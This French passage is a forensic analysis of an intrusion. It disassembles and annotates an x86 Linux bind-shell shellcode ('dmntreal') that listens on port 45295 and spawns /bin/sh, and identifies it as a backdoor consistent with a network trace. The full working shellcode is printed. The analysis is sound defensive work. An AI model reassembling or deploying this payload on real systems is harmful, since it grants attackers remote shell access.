Le shellcode de dmntreal

On le désassemble avec ndisasm. La valeur contenue dans EAX avant l'appel à l'interruption 0x80 correspond au numéro de l'appel système appelé. L'appel système socketcall(), présent sur certains unix dans certaines architectures, multiplexe tous les appels systèmes relatifs à la manipulation de sockets (socket(), bind(), listen(), accept(), ...). Il faut regarder la valeur de EBX pour connaître quelle fonction a été appelée.
00000005  31C0              xor eax,eax
00000007  31DB              xor ebx,ebx
00000009  31C9              xor ecx,ecx
0000000B  51                push ecx
0000000C  B106              mov cl,0x6
0000000E  51                push ecx
0000000F  B101              mov cl,0x1
00000011  51                push ecx
00000012  B102              mov cl,0x2
00000014  51                push ecx
00000015  89E1              mov ecx,esp
00000017  B301              mov bl,0x1
00000019  B066              mov al,0x66
0000001B  CD80              int 0x80      /* socketcall socket() */
0000001D  89C1              mov ecx,eax
0000001F  31C0              xor eax,eax
00000021  31DB              xor ebx,ebx
00000023  50                push eax
00000024  50                push eax
00000025  50                push eax
00000026  6668B0EF          push word 0xefb0  /* port 45295 */
0000002A  B302              mov bl,0x2
0000002C  6653              push bx
0000002E  89E2              mov edx,esp
00000030  B310              mov bl,0x10
00000032  53                push ebx
00000033  B302              mov bl,0x2
00000035  52                push edx
00000036  51                push ecx
00000037  89CA              mov edx,ecx
00000039  89E1              mov ecx,esp
0000003B  B066              mov al,0x66
0000003D  CD80              int 0x80      /* socketcall bind() */
0000003F  31DB              xor ebx,ebx
00000041  39C3              cmp ebx,eax
00000043  7405              jz 0x4a
00000045  31C0              xor eax,eax
00000047  40                inc eax
00000048  CD80              int 0x80      /* exit() */
0000004A  31C0              xor eax,eax
0000004C  50                push eax
0000004D  52                push edx
0000004E  89E1              mov ecx,esp
00000050  B304              mov bl,0x4
00000052  B066              mov al,0x66
00000054  CD80              int 0x80      /* socketcall listen() */
00000056  89D7              mov edi,edx
00000058  31C0              xor eax,eax
0000005A  31DB              xor ebx,ebx
0000005C  31C9              xor ecx,ecx
0000005E  B311              mov bl,0x11
00000060  B101              mov cl,0x1    /* SIG_IGN */
00000062  B030              mov al,0x30
00000064  CD80              int 0x80      /* signal() */
00000066  31C0              xor eax,eax
00000068  31DB              xor ebx,ebx
0000006A  50                push eax
0000006B  50                push eax
0000006C  57                push edi
0000006D  89E1              mov ecx,esp
0000006F  B305              mov bl,0x5
00000071  B066              mov al,0x66
00000073  CD80              int 0x80      /* socketcall accept() */
00000075  89C6              mov esi,eax
00000077  31C0              xor eax,eax
00000079  31DB              xor ebx,ebx
0000007B  B002              mov al,0x2
0000007D  CD80              int 0x80      /* fork() */
0000007F  39C3              cmp ebx,eax
00000081  7540              jnz 0xc3
00000083  31C0              xor eax,eax
00000085  89FB              mov ebx,edi
00000087  B006              mov al,0x6
00000089  CD80              int 0x80      /* close() */
0000008B  31C0              xor eax,eax
0000008D  31C9              xor ecx,ecx
0000008F  89F3              mov ebx,esi
00000091  B03F              mov al,0x3f
00000093  CD80              int 0x80      /* dup2() */
00000095  31C0              xor eax,eax
00000097  41                inc ecx
00000098  B03F              mov al,0x3f
0000009A  CD80              int 0x80      /* dup2() */
0000009C  31C0              xor eax,eax
0000009E  41                inc ecx
0000009F  B03F              mov al,0x3f
000000A1  CD80              int 0x80      /* dup2() */
000000A3  31C0              xor eax,eax
000000A5  50                push eax
000000A6  BE2DEE3127        mov esi,0x2731ee2d
000000AB  81C641414141      add esi,0x41414141
000000B1  56                push esi            /* n/sh */
000000B2  BEEEED2028        mov esi,0x2820edee
000000B7  81C641414141      add esi,0x41414141
000000BD  56                push esi            /* //bi */
000000BE  89E3              mov ebx,esp
000000C0  8B542408          mov edx,[esp+0x8]
000000C4  50                push eax
000000C5  53                push ebx
000000C6  89E1              mov ecx,esp
000000C8  B00B              mov al,0xb
000000CA  CD80              int 0x80      /* execve() */
000000CC  31C0              xor eax,eax
000000CE  40                inc eax
000000CF  CD80              int 0x80      /* exit() */
000000D1  31C0              xor eax,eax
000000D3  89F3              mov ebx,esi
000000D5  B006              mov al,0x6
000000D7  CD80              int 0x80      /* close() */
000000D9  EB99              jmp short 0x74

Il s'agit d'un shellcode qui écoute sur le port 45295 et qui, lors d'une connexion sur ce port, forke un shell. On a donc à faire à une backdoor. Une rapide recherche sur Internet permet de voir que ce shellcode n'a pas été créé uniquement pour cet exploit puisqu'on peut le retrouver ailleurs. Le numéro du port est de plus cohérent avec ce que l'on a observé sur la trace réseau.